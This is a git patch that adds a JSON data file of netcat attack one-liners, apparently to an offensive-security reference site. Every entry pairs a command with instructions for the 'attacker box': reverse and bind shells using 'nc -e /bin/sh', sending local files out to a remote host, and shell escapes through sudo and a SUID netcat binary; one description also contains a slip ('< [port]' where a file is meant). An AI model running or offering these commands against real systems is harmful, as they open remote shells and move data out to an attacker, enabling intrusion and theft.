From 4fb478b10c240624f1fb98823cf685307c68e75e Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 11:44:49 +0100 Subject: [PATCH] add data for nc --- data/nc.json | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 data/nc.json diff --git a/data/nc.json b/data/nc.json new file mode 100644 index 0000000..a2d84c7 --- /dev/null +++ b/data/nc.json @@ -0,0 +1,40 @@ +{ + "functions": { + "reverse-shell": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "nc -e /bin/sh [host] [port]\n" + } + ], + "bind-shell": [ + { + "description": "Run 'nc [host] [port]` on the attacker box to connect to the shell. This only works with netcat traditional.", + "code": "nc -l -p [port] -e /bin/sh\n" + } + ], + "file-upload": [ + { + "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", + "code": "nc [host] [port] < [file]\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [port]' on the attacker box to send the file.", + "code": "nc -l -p [port] > [file]\n" + } + ], + "sudo": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "sudo nc -e /bin/sh [host] [port]\n" + } + ], + "limited-suid": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "./nc -e /bin/sh [host] [port]\n" + } + ] + } +} \ No newline at end of file